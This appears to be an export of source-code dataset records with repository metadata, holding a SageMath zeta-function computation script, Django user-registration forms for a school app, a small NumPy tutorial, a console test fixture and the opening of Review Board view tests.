| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
80b081952e1929306b16b59823a4d98a0b30eb7a
| 11,040
|
py
|
Python
|
src/temp/chart66.py
|
joshmaglione/SingularZeta
|
5ff9167cec8233c575fa421e4c99b95f06eb90d0
|
[
"MIT"
] | 1
|
2019-11-21T17:37:09.000Z
|
2019-11-21T17:37:09.000Z
|
src/temp/chart66.py
|
joshmaglione/SingularZeta
|
5ff9167cec8233c575fa421e4c99b95f06eb90d0
|
[
"MIT"
] | 1
|
2019-05-21T07:22:08.000Z
|
2019-05-21T07:22:08.000Z
|
src/temp/chart66.py
|
joshmaglione/SingularZeta
|
5ff9167cec8233c575fa421e4c99b95f06eb90d0
|
[
"MIT"
] | null | null | null |
################################################################################
# These computations are based off of Bernd Schober's notes for chart 66 in
# August.
# Maglione, August 2019
################################################################################
import Zeta
from sage.all import QQ, Polyhedron, PolynomialRing, var
from SingularZeta.src.globalVars import _DEFAULT_p, _DEFAULT_t
p = var(_DEFAULT_p)
t = var(_DEFAULT_t)
# ==============================================================================
# Chart 66:
# ==============================================================================
# ------------------------------------------------------------------------------
# Case: 1
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1),
( 2,-1, 2, 0, 2, 0, 0),
( 2,-1, 1, 1, 2, 0, 0),
( 0, 0,-1, 2, 0, 0, 0),
( 3,-1, 0, 2, 2, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_1 = Zeta.smurf.SMURF.from_polyhedron(P, R)
factor_1 = (1 - p**-1)**-3*(1 - p**-1)**6*p**-1*t**2*p**-3
zed_1 = sm_1.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-3*t, x4=t, x5=p**-1)
int_1 = factor_1*zed_1
# Double checked
# ------------------------------------------------------------------------------
# Case: 2
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1),
( 1,-1, 2, 0, 1, 0, 0),
( 1,-1, 1, 1, 1, 0, 0),
( 0, 0,-1, 2, 0, 0, 0),
( 2,-1, 0, 2, 1, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_2 = Zeta.smurf.SMURF.from_polyhedron(P, R)
factor_2 = (1 - p**-1)**-3*(1 - p**-1)**6*t*p**-3
zed_2 = sm_2.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-2, x4=t, x5=p**-1)
int_2 = factor_2*zed_2
# Double checked
# ------------------------------------------------------------------------------
# Case: 3
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1),
( 1,-1, 2, 0, 1, 0, 0),
( 0,-1, 1, 1, 0, 0, 0),
( 0, 0,-1, 2, 0, 0, 0),
( 1,-1, 0, 2, 0, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_3 = Zeta.smurf.SMURF.from_polyhedron(P, R)
factor_3 = (1 - p**-1)**-3*(1 - p**-1)**6*p*t*p**-3
zed_3 = sm_3.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-1, x4=t, x5=p**-1)
int_3 = factor_3*zed_3
# Double checked
# ------------------------------------------------------------------------------
# Case: 4
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1),
( 0,-1, 2, 0, 0, 0, 0),
( 0,-1, 1, 1, 0, 0, 0),
( 0, 0,-1, 2, 0, 0, 0),
( 1,-1, 0, 2, 0, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_4 = Zeta.smurf.SMURF.from_polyhedron(P, R)
factor_4 = (1 - p**-1)**-3*(1 - p**-1)**6*(p - 3)*p*t*p**-3
zed_4 = sm_4.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-1, x4=t, x5=p**-1)
int_4 = factor_4*zed_4
# Double checked
int_66 = (int_1 + int_2 + int_3 + int_4).simplify().factor().simplify()
################################################################################
# No cone conditions
################################################################################
# ==============================================================================
# Chart 66:
# ==============================================================================
# ------------------------------------------------------------------------------
# Case: 1
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_1_cc = Zeta.smurf.SMURF.from_polyhedron(P, R)
zed_1_cc = sm_1_cc.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-3*t, x4=t, x5=p**-1)
int_1_cc = factor_1*zed_1_cc
# ------------------------------------------------------------------------------
# Case: 2
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_2_cc = Zeta.smurf.SMURF.from_polyhedron(P, R)
zed_2_cc = sm_2_cc.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-2, x4=t, x5=p**-1)
int_2_cc = factor_2*zed_2_cc
# ------------------------------------------------------------------------------
# Case: 3
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_3_cc = Zeta.smurf.SMURF.from_polyhedron(P, R)
zed_3_cc = sm_3_cc.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-1, x4=t, x5=p**-1)
int_3_cc = factor_3*zed_3_cc
# ------------------------------------------------------------------------------
# Case: 4
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_4_cc = Zeta.smurf.SMURF.from_polyhedron(P, R)
zed_4_cc = sm_4_cc.evaluate()(x0=p**2*t, x1=t, x2=p**-2*t, x3=p**-1, x4=t, x5=p**-1)
int_4_cc = factor_4*zed_4_cc
int_66_cc = (int_1_cc + int_2_cc + int_3_cc + int_4_cc).simplify().factor().simplify()
################################################################################
# No cone conditions and no integrand
################################################################################
# ==============================================================================
# Chart 66:
# ==============================================================================
# ------------------------------------------------------------------------------
# Case: 1
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_1_null = Zeta.smurf.SMURF.from_polyhedron(P, R)
factor_1_null = (1 - p**-1)**6*p**-3*p**-3
zed_1_null = sm_1_null.evaluate()(x0=p**-1, x1=p**-2, x2=p**-3, x3=p**-4, x4=p**-1, x5=p**-1)
int_1_null = factor_1_null*zed_1_null
# ------------------------------------------------------------------------------
# Case: 2
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_2_null = Zeta.smurf.SMURF.from_polyhedron(P, R)
factor_2_null = (1 - p**-1)**6*p**-1*p**-3
zed_2_null = sm_2_null.evaluate()(x0=p**-1, x1=p**-2, x2=p**-3, x3=p**-2, x4=p**-1, x5=p**-1)
int_2_null = factor_2_null*zed_2_null
# ------------------------------------------------------------------------------
# Case: 3
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_3_null = Zeta.smurf.SMURF.from_polyhedron(P, R)
factor_3_null = (1 - p**-1)**6*p**-3
zed_3_null = sm_3_null.evaluate()(x0=p**-1, x1=p**-2, x2=p**-3, x3=p**-1, x4=p**-1, x5=p**-1)
int_3_null = factor_3_null*zed_3_null
# ------------------------------------------------------------------------------
# Case: 4
# ------------------------------------------------------------------------------
# b n1 n2 n3 n4 n5 n6
P = Polyhedron(ieqs=[( 0, 1, 0, 0, 0, 0, 0),
( 0, 0, 1, 0, 0, 0, 0),
( 0, 0, 0, 1, 0, 0, 0),
( 0, 0, 0, 0, 1, 0, 0),
( 0, 0, 0, 0, 0, 1, 0),
( 0, 0, 0, 0, 0, 0, 1)])
R = PolynomialRing(QQ,'x', 6)
sm_4_null = Zeta.smurf.SMURF.from_polyhedron(P, R)
factor_4_null = (1 - p**-1)**6*(p - 3)*p**-3
zed_4_null = sm_4_null.evaluate()(x0=p**-1, x1=p**-2, x2=p**-3, x3=p**-1, x4=p**-1, x5=p**-1)
int_4_null = factor_4_null*zed_4_null
int_66_null = (int_1_null + int_2_null + int_3_null + int_4_null).simplify().factor().simplify()
| 45.245902
| 96
| 0.293569
| 1,540
| 11,040
| 1.992208
| 0.046104
| 0.255541
| 0.310952
| 0.323338
| 0.770535
| 0.764016
| 0.734355
| 0.721969
| 0.718709
| 0.541069
| 0
| 0.127926
| 0.291938
| 11,040
| 243
| 97
| 45.432099
| 0.264552
| 0.296467
| 0
| 0.618421
| 0
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| 0.001662
| 0
| 0
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| 0
| 0
| 1
| 0
| false
| 0
| 0.019737
| 0
| 0.019737
| 0
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| 1
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 0
| 0
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| 1
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|
0
| 9
|
03c7dd19278b73fdc9b2eb9992ed303afe3394fd
| 12,751
|
py
|
Python
|
account/forms.py
|
Mohsen7640/PicoSchool
|
69d8658111b27e843928f2458f9a7108ab8bd4e0
|
[
"Apache-2.0"
] | 48
|
2022-02-05T10:07:33.000Z
|
2022-03-30T18:14:45.000Z
|
account/forms.py
|
Mohsen7640/PicoSchool
|
69d8658111b27e843928f2458f9a7108ab8bd4e0
|
[
"Apache-2.0"
] | 2
|
2022-02-10T11:56:42.000Z
|
2022-02-16T13:27:26.000Z
|
account/forms.py
|
Mohsen7640/PicoSchool
|
69d8658111b27e843928f2458f9a7108ab8bd4e0
|
[
"Apache-2.0"
] | 14
|
2022-02-05T13:46:17.000Z
|
2022-02-23T16:23:12.000Z
|
from django import forms
from django.contrib.admin.views import autocomplete
from django.contrib.admin.widgets import FilteredSelectMultiple
from django.contrib.auth.hashers import make_password
from .models import User
widget_fields = {
'first_name': forms.TextInput(
attrs={'placeholder': 'نام را وارد کنید'}),
'last_name': forms.TextInput(
attrs={'placeholder': 'نام خانوادگی را وارد کنید'}),
'national_code': forms.TextInput(
attrs={'placeholder': 'کد ملی را وارد کنید'}),
'phone': forms.TextInput(
attrs={'placeholder': 'شماره تلفن را وارد کنید'}),
'home_phone': forms.TextInput(
attrs={'placeholder': 'شماره منزل را وارد کنید'}),
'date_of_birth': forms.TextInput(
attrs={'placeholder': 'تاریخ تولد را وارد کنید'}),
'father_name': forms.TextInput(
attrs={'placeholder': 'نام پدر را وارد کنید'}),
'address': forms.Textarea(
attrs={'placeholder': 'آدرس را وارد کنید'}),
'password': forms.PasswordInput(),
}
class CreateStudentUserForm(forms.ModelForm):
def __init__(self, *args, **kwargs):
super(CreateStudentUserForm, self).__init__(*args, **kwargs)
self.fields['parent'].queryset = User.objects.filter(is_active=True, is_parent=True)
self.fields['parent'].required = True
self.fields['grade'].required = True
self.fields['date_of_birth'].required = True
self.fields['father_name'].required = True
self.fields['first_name'].required = True
self.fields['last_name'].required = True
self.fields['home_phone'].required = True
self.fields['student_class'].required = True
class Meta:
model = User
fields = (
'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name',
'address', 'password', 'profile_img', 'student_class', 'parent', 'grade', 'major', 'is_student',
'is_parent', 'is_teacher'
)
widget_fields['parent'] = forms.Select(attrs={"class": "selectInput"})
widgets = widget_fields
def save(self, commit=True):
user = super().save(commit=False)
user.set_password(self.cleaned_data['password'])
if commit:
user.save()
return user
class UpdateStudentUserForm(forms.ModelForm):
def __init__(self, *args, **kwargs):
super(UpdateStudentUserForm, self).__init__(*args, **kwargs)
self.fields['parent'].queryset = User.objects.filter(is_active=True, is_parent=True)
self.fields['parent'].required = True
self.fields['grade'].required = True
self.fields['date_of_birth'].required = True
self.fields['father_name'].required = True
self.fields['first_name'].required = True
self.fields['last_name'].required = True
self.fields['home_phone'].required = True
self.fields['student_class'].required = True
class Meta:
model = User
fields = (
'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name',
'address', 'profile_img', 'student_class', 'parent', 'grade', 'major', 'is_student'
)
widget_fields['parent'] = forms.Select(attrs={"class": "selectInput"})
widgets = widget_fields
class CreateParentUserForm(forms.ModelForm):
def __init__(self, *args, **kwargs):
super(CreateParentUserForm, self).__init__(*args, **kwargs)
self.fields['date_of_birth'].required = True
self.fields['first_name'].required = True
self.fields['last_name'].required = True
self.fields['home_phone'].required = True
self.fields['phone'].required = True
self.fields['job'].required = True
self.fields['education'].required = True
self.fields['work_address'].required = False
self.fields['work_phone'].required = False
class Meta:
model = User
fields = (
'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name',
'address', 'password', 'profile_img', 'job', 'education', 'work_address', 'work_phone', 'is_parent'
)
widget_fields['work_phone'] = forms.TextInput(attrs={'placeholder': 'شماره محل کار را وارد کنید'})
widget_fields['work_address'] = forms.Textarea(attrs={'placeholder': 'آدرس محل کار را وارد کنید'})
widget_fields['job'] = forms.TextInput(attrs={'placeholder': 'شغل را وارد کنید'})
widget_fields['education'] = forms.TextInput(attrs={'placeholder': 'تحصیلات را وارد کنید'})
widgets = widget_fields
def save(self, commit=True):
user = super().save(commit=False)
user.set_password(self.cleaned_data['password'])
if commit:
user.save()
return user
class UpdateParentUserForm(forms.ModelForm):
def __init__(self, *args, **kwargs):
super(UpdateParentUserForm, self).__init__(*args, **kwargs)
self.fields['date_of_birth'].required = True
self.fields['first_name'].required = True
self.fields['last_name'].required = True
self.fields['home_phone'].required = True
self.fields['phone'].required = True
self.fields['job'].required = True
self.fields['education'].required = True
self.fields['work_address'].required = False
self.fields['work_phone'].required = False
class Meta:
model = User
fields = (
'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name',
'address', 'profile_img', 'job', 'education', 'work_address', 'work_phone', 'is_parent'
)
widget_fields['work_phone'] = forms.TextInput(attrs={'placeholder': 'شماره محل کار را وارد کنید'})
widget_fields['work_address'] = forms.Textarea(attrs={'placeholder': 'آدرس محل کار را وارد کنید'})
widget_fields['job'] = forms.TextInput(attrs={'placeholder': 'شغل را وارد کنید'})
widget_fields['education'] = forms.TextInput(attrs={'placeholder': 'تحصیلات را وارد کنید'})
widgets = widget_fields
class CreateTeacherUserForm(forms.ModelForm):
def __init__(self, *args, **kwargs):
super(CreateTeacherUserForm, self).__init__(*args, **kwargs)
self.fields['date_of_birth'].required = True
self.fields['first_name'].required = True
self.fields['last_name'].required = True
self.fields['home_phone'].required = True
self.fields['phone'].required = True
self.fields['education'].required = True
self.fields['certificate_code'].required = True
self.fields['university'].required = True
self.fields['working_hours'].required = True
self.fields['basic_salary'].required = True
self.fields['single_or_married'].required = True
self.fields['status'].required = True
def clean_spouse_fullname(self):
data = self.cleaned_data['spouse_fullname']
single_or_married = self.cleaned_data.get('single_or_married')
if single_or_married == "متاهل":
spouse_fullname = self.cleaned_data['spouse_fullname']
if spouse_fullname is None:
raise forms.ValidationError("این فیلد مورد نیاز است")
return data
def clean_spouse_phone(self):
data = self.cleaned_data['spouse_phone']
single_or_married = self.cleaned_data.get('single_or_married')
if single_or_married == "متاهل":
spouse_phone = self.cleaned_data['spouse_phone']
if spouse_phone is None:
raise forms.ValidationError("این فیلد مورد نیاز است")
return data
def clean_child_num(self):
data = self.cleaned_data['child_num']
single_or_married = self.cleaned_data.get('single_or_married')
if single_or_married == "متاهل":
child_num = self.cleaned_data['child_num']
if child_num is None:
raise forms.ValidationError("این فیلد مورد نیاز است")
return data
class Meta:
model = User
fields = (
'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name',
'address', 'password', 'profile_img', 'education', 'certificate_code', 'university',
'working_hours', 'basic_salary', 'single_or_married', 'child_num', 'spouse_fullname', 'spouse_phone',
'status', 'is_teacher',
)
widget_fields['education'] = forms.TextInput(attrs={'placeholder': 'تحصیلات را وارد کنید'})
widget_fields['certificate_code'] = forms.TextInput(attrs={'placeholder': 'شماره شناسنامه'})
widget_fields['university'] = forms.TextInput(attrs={'placeholder': 'دانشگاه محل تحصیل'})
widget_fields['working_hours'] = forms.NumberInput(attrs={'placeholder': 'تعداد ساعت های کار'})
widget_fields['basic_salary'] = forms.NumberInput(attrs={'placeholder': 'حقوق پایه'})
widget_fields['child_num'] = forms.NumberInput(attrs={'placeholder': 'تعداد فرزند'})
widget_fields['spouse_fullname'] = forms.TextInput(attrs={'placeholder': 'نام و نام خانوادگی همسر'})
widget_fields['spouse_phone'] = forms.TextInput(attrs={'placeholder': 'تلفن همسر'})
widgets = widget_fields
def save(self, commit=True):
user = super().save(commit=False)
user.set_password(self.cleaned_data['password'])
if commit:
user.save()
return user
class UpdateTeacherUserForm(forms.ModelForm):
def __init__(self, *args, **kwargs):
super(UpdateTeacherUserForm, self).__init__(*args, **kwargs)
self.fields['date_of_birth'].required = True
self.fields['first_name'].required = True
self.fields['last_name'].required = True
self.fields['home_phone'].required = True
self.fields['phone'].required = True
self.fields['education'].required = True
self.fields['certificate_code'].required = True
self.fields['university'].required = True
self.fields['working_hours'].required = True
self.fields['basic_salary'].required = True
self.fields['single_or_married'].required = True
self.fields['status'].required = True
def clean_spouse_fullname(self):
data = self.cleaned_data['spouse_fullname']
single_or_married = self.cleaned_data.get('single_or_married')
if single_or_married == "متاهل":
spouse_fullname = self.cleaned_data['spouse_fullname']
if spouse_fullname is None:
raise forms.ValidationError("این فیلد مورد نیاز است")
return data
def clean_spouse_phone(self):
data = self.cleaned_data['spouse_phone']
single_or_married = self.cleaned_data.get('single_or_married')
if single_or_married == "متاهل":
spouse_phone = self.cleaned_data['spouse_phone']
if spouse_phone is None:
raise forms.ValidationError("این فیلد مورد نیاز است")
return data
def clean_child_num(self):
data = self.cleaned_data['child_num']
single_or_married = self.cleaned_data.get('single_or_married')
if single_or_married == "متاهل":
child_num = self.cleaned_data['child_num']
if child_num is None:
raise forms.ValidationError("این فیلد مورد نیاز است")
return data
class Meta:
model = User
fields = (
'first_name', 'last_name', 'national_code', 'phone', 'home_phone', 'date_of_birth', 'father_name',
'address', 'profile_img', 'education', 'certificate_code', 'university',
'working_hours', 'basic_salary', 'single_or_married', 'child_num', 'spouse_fullname', 'spouse_phone',
'status', 'is_teacher',
)
widget_fields['education'] = forms.TextInput(attrs={'placeholder': 'تحصیلات را وارد کنید'})
widget_fields['certificate_code'] = forms.TextInput(attrs={'placeholder': 'شماره شناسنامه'})
widget_fields['university'] = forms.TextInput(attrs={'placeholder': 'دانشگاه محل تحصیل'})
widget_fields['working_hours'] = forms.NumberInput(attrs={'placeholder': 'تعداد ساعت های کار'})
widget_fields['basic_salary'] = forms.NumberInput(attrs={'placeholder': 'حقوق پایه'})
widget_fields['child_num'] = forms.NumberInput(attrs={'placeholder': 'تعداد فرزند'})
widget_fields['spouse_fullname'] = forms.TextInput(attrs={'placeholder': 'نام و نام خانوادگی همسر'})
widget_fields['spouse_phone'] = forms.TextInput(attrs={'placeholder': 'تلفن همسر'})
widgets = widget_fields
| 47.051661
| 113
| 0.641518
| 1,446
| 12,751
| 5.428077
| 0.091978
| 0.076443
| 0.092751
| 0.140145
| 0.912346
| 0.908014
| 0.878583
| 0.878583
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| 0.838578
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| 12,751
| 270
| 114
| 47.225926
| 0.792268
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| 0.262176
| 0
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| 0.062241
| false
| 0.033195
| 0.020747
| 0
| 0.170124
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| null | 0
| 0
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| 1
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| 1
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| 1
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| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
03ff4affb7e6de3fb9bd01b6c9456c24dde54402
| 1,060
|
py
|
Python
|
Stage A/2. Hamoye Numpy/convention for importing numpy.py
|
tripleaceme/Hamoye-Data-StoryTelling
|
fdc7dedeb102def50086e0ca26d19de28a79c30a
|
[
"MIT"
] | null | null | null |
Stage A/2. Hamoye Numpy/convention for importing numpy.py
|
tripleaceme/Hamoye-Data-StoryTelling
|
fdc7dedeb102def50086e0ca26d19de28a79c30a
|
[
"MIT"
] | null | null | null |
Stage A/2. Hamoye Numpy/convention for importing numpy.py
|
tripleaceme/Hamoye-Data-StoryTelling
|
fdc7dedeb102def50086e0ca26d19de28a79c30a
|
[
"MIT"
] | null | null | null |
# convention for importing numpy
import numpy as np
arr = [6, 7, 8, 9]
print(type(arr)) # prints <class 'list'>
a = np.array(arr)
print(type(a)) # prints <class 'numpy.ndarray'>
print(a.shape) # prints (4,) - a is a 1d array with 4 items
print(a.dtype) # prints int64
# get the dimension of a with ndim
print(a.ndim) # prints 1
b = np.array([[1, 2, 3], [4, 5, 6]])
print(b) # prints [[1 2 3]
[4 5 6]]
print(b.ndim) # prints 2
b.shape # prints (2, 3) - b a 2d array with 2 rows and 3 columns
import numpy as np
arr = [6, 7, 8, 9]
print(type(arr)) # prints <class 'list'>
a = np.array(arr)
print(type(a)) # prints <class 'numpy.ndarray'>
print(a.shape) # prints (4,) - a is a 1d array with 4 items
print(a.dtype) # prints int64
# get the dimension of a with ndim
print(a.ndim) # prints 1
b = np.array([[1, 2, 3], [4, 5, 6]])
print(b) # prints [[1 2 3]
[4 5 6]]
print(b.ndim) # prints 2
b.shape # prints (2, 3) - b a 2d array with 2 rows and 3 columns
| 28.648649
| 76
| 0.570755
| 192
| 1,060
| 3.151042
| 0.21875
| 0.059504
| 0.019835
| 0.026446
| 0.955372
| 0.955372
| 0.955372
| 0.955372
| 0.955372
| 0.955372
| 0
| 0.073107
| 0.277358
| 1,060
| 37
| 77
| 28.648649
| 0.71671
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.076923
| null | null | 0.538462
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
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| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 9
|
207f13359eb4f92f65ea549fd1ca75c04bafc24f
| 69
|
py
|
Python
|
python/testData/console/indent3.after.py
|
jnthn/intellij-community
|
8fa7c8a3ace62400c838e0d5926a7be106aa8557
|
[
"Apache-2.0"
] | 2
|
2019-04-28T07:48:50.000Z
|
2020-12-11T14:18:08.000Z
|
python/testData/console/indent3.after.py
|
Cyril-lamirand/intellij-community
|
60ab6c61b82fc761dd68363eca7d9d69663cfa39
|
[
"Apache-2.0"
] | 173
|
2018-07-05T13:59:39.000Z
|
2018-08-09T01:12:03.000Z
|
python/testData/console/indent3.after.py
|
Cyril-lamirand/intellij-community
|
60ab6c61b82fc761dd68363eca7d9d69663cfa39
|
[
"Apache-2.0"
] | 2
|
2020-03-15T08:57:37.000Z
|
2020-04-07T04:48:14.000Z
|
for i in range(1, 10):
print i
for i in range(1, 10):
print i
| 17.25
| 22
| 0.57971
| 16
| 69
| 2.5
| 0.4375
| 0.2
| 0.3
| 0.55
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0.125
| 0.304348
| 69
| 4
| 23
| 17.25
| 0.708333
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.5
| 1
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 11
|
20a95ea3363f731685ab5c1233857fe37e74fa93
| 61,025
|
py
|
Python
|
reviewboard/reviews/tests/test_views.py
|
jeyaprabum/Reviewboard
|
fe4dc611ef961b12b6991a74faa24a22d393fb4a
|
[
"MIT"
] | 1
|
2019-08-20T03:39:04.000Z
|
2019-08-20T03:39:04.000Z
|
reviewboard/reviews/tests/test_views.py
|
jeyaprabum/Reviewboard
|
fe4dc611ef961b12b6991a74faa24a22d393fb4a
|
[
"MIT"
] | 1
|
2019-08-20T03:39:45.000Z
|
2019-08-20T03:39:45.000Z
|
reviewboard/reviews/tests/test_views.py
|
jeyaprabum/Reviewboard
|
fe4dc611ef961b12b6991a74faa24a22d393fb4a
|
[
"MIT"
] | null | null | null |
from __future__ import unicode_literals
from datetime import timedelta
from django.contrib.auth.models import User
from django.core.urlresolvers import reverse
from djblets.siteconfig.models import SiteConfiguration
from djblets.testing.decorators import add_fixtures
from reviewboard.extensions.tests import TestService
from reviewboard.hostingsvcs.service import (register_hosting_service,
unregister_hosting_service)
from reviewboard.hostingsvcs.models import HostingServiceAccount
from reviewboard.reviews.models import (Comment,
GeneralComment,
Review)
from reviewboard.site.urlresolvers import local_site_reverse
from reviewboard.testing import TestCase
class ViewTests(TestCase):
"""Tests for views in reviewboard.reviews.views."""
fixtures = ['test_users', 'test_scmtools', 'test_site']
def setUp(self):
super(ViewTests, self).setUp()
self.siteconfig = SiteConfiguration.objects.get_current()
self.siteconfig.set('auth_require_sitewide_login', False)
self.siteconfig.save()
def test_review_detail_redirect_no_slash(self):
"""Testing review_detail view redirecting with no trailing slash"""
response = self.client.get('/r/1')
self.assertEqual(response.status_code, 301)
def test_review_detail(self):
"""Testing review_detail view"""
review_request = self.create_review_request(publish=True)
response = self.client.get('/r/%d/' % review_request.id)
self.assertEqual(response.status_code, 200)
request = self._get_context_var(response, 'review_request')
self.assertEqual(request.pk, review_request.pk)
def test_review_detail_context(self):
"""Testing review_detail view's context"""
# Make sure this request is made while logged in, to catch the
# login-only pieces of the review_detail view.
self.client.login(username='admin', password='admin')
username = 'admin'
summary = 'This is a test summary'
description = 'This is my description'
testing_done = 'Some testing'
review_request = self.create_review_request(
publish=True,
submitter=username,
summary=summary,
description=description,
testing_done=testing_done)
response = self.client.get('/r/%s/' % review_request.pk)
self.assertEqual(response.status_code, 200)
request = self._get_context_var(response, 'review_request')
self.assertEqual(request.submitter.username, username)
self.assertEqual(request.summary, summary)
self.assertEqual(request.description, description)
self.assertEqual(request.testing_done, testing_done)
self.assertEqual(request.pk, review_request.pk)
def test_review_detail_diff_comment_ordering(self):
"""Testing review_detail and ordering of diff comments on a review"""
comment_text_1 = 'Comment text 1'
comment_text_2 = 'Comment text 2'
comment_text_3 = 'Comment text 3'
review_request = self.create_review_request(create_repository=True,
publish=True)
diffset = self.create_diffset(review_request)
filediff = self.create_filediff(diffset)
# Create the users who will be commenting.
user1 = User.objects.get(username='doc')
user2 = User.objects.get(username='dopey')
# Create the master review.
main_review = self.create_review(review_request, user=user1)
main_comment = self.create_diff_comment(main_review, filediff,
text=comment_text_1)
main_review.publish()
